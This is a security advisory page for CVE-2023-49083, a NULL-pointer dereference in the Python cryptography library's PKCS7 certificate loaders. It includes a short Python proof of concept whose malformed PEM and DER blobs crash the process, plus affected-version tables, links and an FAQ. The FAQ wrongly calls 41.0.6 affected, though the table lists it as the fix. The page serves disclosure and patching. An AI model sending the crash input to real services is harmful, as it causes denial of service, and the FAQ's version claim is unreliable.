CVE-2023-49083: cryptography vulnerable to NULL-dereference when loading PKCS7 certificates
First published: Tue Nov 28 2023(Updated: )
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| pip/cryptography | >=3.1<41.0.6 | 41.0.6 |
| Cryptography Project Cryptography | >=3.1<41.0.6 | |
| debian/python-cryptography | 2.6.1-3+deb10u2 2.6.1-3+deb10u4 | |
| ubuntu/python-cryptography | <3.4.8-1ubuntu2.1 | 3.4.8-1ubuntu2.1 |
| ubuntu/python-cryptography | <38.0.4-2ubuntu0.1 | 38.0.4-2ubuntu0.1 |
| ubuntu/python-cryptography | <38.0.4-4ubuntu0.23.10.1 | 38.0.4-4ubuntu0.23.10.1 |
| Cryptography.io Cryptography Python | >=3.1<41.0.6 | |
| redhat/python-cryptography | <41.0.6 | 41.0.6 |
| IBM Storage Defender - Resiliency Service | <=2.0.0 - 2.0.9 |
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Reference Links
- https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97
- https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a
- https://nvd.nist.gov/vuln/detail/CVE-2023-49083
- https://github.com/pyca/cryptography/pull/9926
- http://www.openwall.com/lists/oss-security/2023/11/29/2
- https://github.com/advisories/GHSA-jfhm-5ghh-2f97 (Advisory)
- https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV/
- https://launchpad.net/bugs/cve/CVE-2023-49083
- https://github.com/pyca/cryptography/commit/1e7b4d074e14c4e694d3ce69ad6754a6039fd6ff
- https://security-tracker.debian.org/tracker/CVE-2023-49083
- https://ubuntu.com/security/notices/USN-6539-1
- https://www.cve.org/CVERecord?id=CVE-2023-49083
- https://ubuntu.com/security/CVE-2023-49083
- https://bugzilla.redhat.com/show_bug.cgi/show_bug.cgi?id=2255351
- https://bugzilla.redhat.com/show_bug.cgi/show_bug.cgi?id=2255352
- https://bugzilla.redhat.com/show_bug.cgi/show_bug.cgi?id=2255353
- https://access.redhat.com/errata/RHSA-2024:1640
- https://access.redhat.com/errata/RHSA-2024:1878
- https://access.redhat.com/errata/RHSA-2024:2337
- https://access.redhat.com/errata/RHSA-2024:3105
- https://access.redhat.com/errata/RHSA-2024:3781
- https://access.redhat.com/errata/RHSA-2024:10965
- https://bugzilla.redhat.com/show_bug.cgi?id=2255331
- https://www.ibm.com/support/pages/node/7178587 (Advisory)
Frequently Asked Questions
What is the vulnerability ID of this issue?
The vulnerability ID of this issue is CVE-2023-49083.
What is the summary of this vulnerability?
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
How can this vulnerability be triggered?
This vulnerability can be triggered by calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates`.
What is the affected software?
The affected software is cryptography version 3.1 up to and including 41.0.6.
Where can I find more information about this vulnerability?
You can find more information about this vulnerability in the following references: [GitHub Advisory GHSA-jfhm-5ghh-2f97](https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97), [GitHub Commit f09c261ca10a31fe41b1262306db7f8f1da0e48a](https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a), [GitHub Advisory GHSA-jfhm-5ghh-2f97](https://github.com/advisories/GHSA-jfhm-5ghh-2f97).
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